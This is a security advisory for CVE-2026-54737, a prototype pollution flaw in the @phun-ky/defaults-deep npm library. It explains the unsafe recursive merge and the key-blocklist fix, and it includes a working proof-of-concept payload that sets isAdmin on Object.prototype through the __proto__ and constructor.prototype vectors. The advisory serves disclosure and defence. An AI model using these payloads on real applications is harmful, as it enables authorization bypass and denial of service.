CVE-2026-54737: @phun-ky/defaults-deep Prototype Pollution via Unsafe Recursive Merge
A flaw in the @phun-ky/defaults-deep library lets an attacker inject properties into JavaScript's global Object prototype by passing crafted input to the defaultsDeep() function, which can silently…

The problem
The defaultsDeep() function recursively merged source objects into a target without filtering dangerous key names such as __proto__, constructor, and prototype.
When a crafted object carrying one of these keys was passed as the source, the merge walked into Object.prototype itself and wrote attacker-controlled values there. Because every plain JavaScript object inherits from Object.prototype, this polluted all objects in the process, opening the door to logic bypasses, privilege escalation, or denial of service depending on how downstream code uses merged values.
Proof of concept
A working proof-of-concept for CVE-2026-54737 in @phun-ky/defaults-deep, with the exact payload below.
const defaultsDeep = require('@phun-ky/defaults-deep');
// Pollute Object.prototype via __proto__
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
defaultsDeep({}, malicious);
console.log(({}).isAdmin); // true -- Object.prototype is now polluted
// Alternative: constructor.prototype vector
const alt = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');
defaultsDeep({}, alt);
console.log(({}).isAdmin); // trueThe root cause is CWE-1321: the recursive merge function checked only whether a value was a plain object before recursing, never whether the key itself was safe. Passing __proto__ as a key causes obj["__proto__"] to resolve to Object.prototype rather than creating a new own property, so every subsequent assignment writes directly onto the shared prototype.
The patch (commit 807dba9, released in 2.0.5) adds an explicit blocklist guard before each recursive step, skipping any key equal to __proto__, constructor, or prototype, which closes all three standard pollution vectors.
The fix
Upgrade to @phun-ky/defaults-deep version 2.0.5 or later (npm install @phun-ky/defaults-deep@latest). If you cannot upgrade immediately, strip __proto__, constructor, and prototype keys from all user-controlled objects before passing them to defaultsDeep().
Related research
- high · 7.5CVE-2026-47219CVE-2026-47219: find-my-way Prototype Property Lookup DoS via HTTP/2 Method
- highCVE-2026-59206CVE-2026-59206: n8n Prototype Pollution via Workflow Credentials
- highn8n Edit Fields (Set) Node Prototype Pollution Denial of Service
- highaxios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning